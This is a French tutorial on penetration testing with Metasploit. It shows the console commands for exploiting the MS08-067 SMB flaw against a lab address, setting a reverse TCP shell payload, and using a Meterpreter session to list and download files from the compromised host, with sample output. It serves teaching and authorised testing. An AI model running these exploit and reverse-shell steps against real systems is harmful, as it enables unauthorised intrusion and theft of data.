Utilisation de Metasploit
Dans cette partie, le cadre Metasploit nous aidera à mettre en œuvre notre campagne de tests de pénétration. Ce logiciel est aujourd’hui la propriété de la firme de sécurité Rapid7 dont une édition Open Source est toujours disponible grâce aux larges contributions et développements de la communauté de sécurité.
L’architecture modulaire et flexible de Metasploit aide en effet les développeurs à créer des exploits fonctionnels dès que de nouvelles vulnérabilités sont découvertes. On peut se demander pourquoi utiliser Metasploit plutôt qu’un autre outil? En réalité, en tant que testeur d’intrusion (on parle aussi de pentester), c’est notre rôle d’évaluer sous forme d’exploits, les vulnérabilités découvertes au fil du temps et de les mettre en exergue, lorsque c’est possible afin d’évaluer le risque de compromission. Cet outil permet de générer des exploits à partir des vulnérabilités connues sans trop d’effort.
Pour démarrer Metasploit et générer la première attaque de notre système, il faut tout d’abord démarrer le service de base de données PostgreSQL que Metasploit doit utiliser pour tracer les différentes actions que l’on va mener :
# systemctl start postgresql
Maintenant, il suffit simplement de démarrer la console metasploit. Cette commande va alors initialiser l’utilisateur PostgreSQL appelé msf, correspondant au nom de base de données de stockage de nos données. Cela permet également de démarrer un appel de procédure distante (ou RPC) ainsi qu’un serveur web:
# msfconsole
REMARQUE: contrairement aux premières versions de Kali Linux, il n’existe plus de service Metasploit, en tant que tel. Seule les exécutables, dont la console metasploit sont actifs car ils appartiennent au noyau Open Source de l’outil.
Dès lors, il est possible d’exécuter des commandes en ayant au préalable interrogé l’interface afin de connaitre leurs options :
msf > help
Il existe de nombreux modules que l’on peut ajouter à l’utilitaire Metasploit. Ces modules sont téléchargeables depuis le site www.rapid7.com. Ils sont contenus dans une base interne permettant d’interroger à la fois les bases Common Vulnerabilities and Exposures (abrégée en CVE), ou Open Sourced Vulnerability Database (abrégée en OSVDB), ou le site Bugtraq ou encore le Microsoft Security Bulletin.
IMPORTANT : cela implique bien évidemment que la plateforme Kali Linux doit disposer d’un accès Internet pour pouvoir interroger ces bases de connaissance librement, sans contrainte ni pare-feu.
En effet, avant d’exploiter une quelconque faille de sécurité, il faut bien évidemment effectuer un scan de vulnérabilités. Une fois ce précieux rapport entre nos mains, on peut alors chercher à en exploiter un des éléments. Pour cela rien de mieux que d’interroger la base mise à disposition sur le site Rapid7 ci-dessous :
En interne, depuis notre plateforme Metasploit, on peut interroger les modules préenregistrés et intégrés à l’outil grâce à la commande de recherche suivante:
Dès lors, on peut rechercher des précisions quant à ce module pré-intégré, puisque l’on dispose du chemin d’accès mentionné ci-dessus exploit/windows/smb/ms08_067_netapi, en exécutant l’instruction suivante :
msf > info exploit/windows/smb/ms08_067_netapi
Ainsi, pour utiliser ce module, il suffit juste d’exécuter l’ordre ci-dessous (en supprimant la partie de référence exploit/):
msf > use windows/smb/ms08_067_netapi
On peut alors lister les options liées à cet exploit grâce à la commande suivante:
msf > show options
Dans l’exemple utilisé ici, nous avons la possibilité de fournir trois paramètres spécifiques :
- RHOST pour mentionner l’hôte distant que l’on veut cibler.
- RPORT pour préciser le n° de port d’attaque.
- SMBPIPE pour préciser le canal d’intercommunication IPC à utiliser.
On peut fixer ces paramètres à l’aide du mot-clé set, en mentionnant le nom du paramètre et sa valeur :
msf > set RHOST 192.168.2.34
REMARQUE : la cible d’exploit (ou Exploit Target) est positionnée par défaut à un mode automatique.
Mais, il est possible de visualiser à tout moment les différentes cibles disponibles, grâce à la commande suivante (ce qui permet d’être encore plus précis lors de nos phases de tests en ciblant le bon système d’exploitation) :
msf > show targets
La réussite des exploits dépend des charges actives (aussi appelées payloads), ajoutées régulièrement à Metasploit de la même façon que les modules. Ces charges déterminent sur quel(s) type(s) de matériel(s) et d’éléments on cible l’attaque. Pour lister les charges actives disponibles, il suffit d’exécuter la commande suivante :
msf > show payloads
Parmi la liste des charges actives compatibles listées précédemment, on peut voir une plage d’options utilisant des shells ou Meterpreter (il s’agit d’un interpréteur de métadonnées permettant d’effectuer un certain nombre de tâches: télécharger des fichiers, lancer un keylogger, prendre une capture d’écran…). En ce qui concerne ces deux types de charges actives, ils sont divisés en deux catégories :
- Connecté (bind)
- Inversé (reverse)
REMARQUE: l’outil Meterpreter est principalement disponible pour les cibles Microsoft Windows. Mais, il existe aussi des charges actives permettant d’obtenir une session Meterpreter sous Linux.
- Shell connecté
Précise à la machine d’ouvrir un shell de commande et d’écouter sur le port local. L’attaquant se connecte sur la machine ciblée sur le port d’écoute. Ceci dit, à cause des pare-feu, l’efficacité des shells connectés a échoué car n’importe quel pare-feu correctement configuré bloque les ports aléatoires tels que 4444.
- Shell inversé
Pousse activement une connexion inversée à destination de l’attaquant plutôt que d’attendre une connexion entrante. Dans ce cas de figure, sur notre machine d’attaque on ouvre un port local en écoute d’une connexion de la cible, permettant ainsi de se faufiler plus facilement au travers des pare-feu.
La charge active est un paramètre comme un autre, il est donc possible de le préciser via l’instruction set suivante :
msf > set payload windows/shell_reverse_tcp
ATTENTION: comme dans l’exemple ci-dessus, il s’agit d’un shell inversé, on doit alors préciser la cible où envoyer le shell. Il faut donc mentionner :
- l’adresse IP de notre machine d’attaque
- le port sur lequel on écoute les connexions entrantes
Dès lors que le cadre de l’exploit est fixé, on peut alors demander à Metasploit de l’exécuter via l’instruction ci-dessous :
msf > exploit
Cette dernière commande liste alors les différentes étapes par lesquelles on passe avant d’en arriver à l’exécution de l’exploit. Cela se termine par une session Meterpreter. Ce dernier est le moyen de prendre la main et de passer des commandes à distance, à la machine cible afin d’exécuter l’ensemble des étapes permettant de réaliser notre exploit.
Par exemple, pour télécharger un fichier MyFile.txt, depuis la machine distante, il suffit d’exécuter :
meterpreter > ls Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2014-03-26 23:24:48 +0100 Desktop meterpreter > cd Desktop meterpreter > ls Listing: C:\Documents and Settings\admin\Desktop ------------------------------------------------------------ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 16 fil 2019-02-10 14:44:09 +0100 MyFile.txt meterpreter > download MyFile.txt [*] downloading: TOP_SECRET.txt -> MyFile.txt [*] downloaded : TOP_SECRET.txt -> MyFile.txt
Une fois que l’on a réussi l’exploit à distance, il convient de se déconnecter. Pour cela, un simple [CTRL]+C suffit à terminer la session de prise de main à distance.
REMARQUE: le framework Metasploit dispose également d’un mode ligne de commande que l’on peut appeler via la commande msfcli. Cela peut s’avérer pratique pour tester des modules Metasploit ou créer des scripts d’exploit. Son utilisation s’apparente au mode console :
# msfcli windows/smb/ms08_067_netapi RHOST=192.168.2.34 P
Pour terminer cette partie, rappelons que pour pouvoir maintenir à jour l’outil Metasploit, il suffit d’exécuter la mise à jour de celui-ci grâce à la commande :
# msfupdate
Maintenant que nous avons vu les deux principales phases d’un test d’intrusion, à savoir :
- Récolte d’informations
- Mise en œuvre des exploits
Nous allons passer à la suite : la phase de scan de vulnérabilités.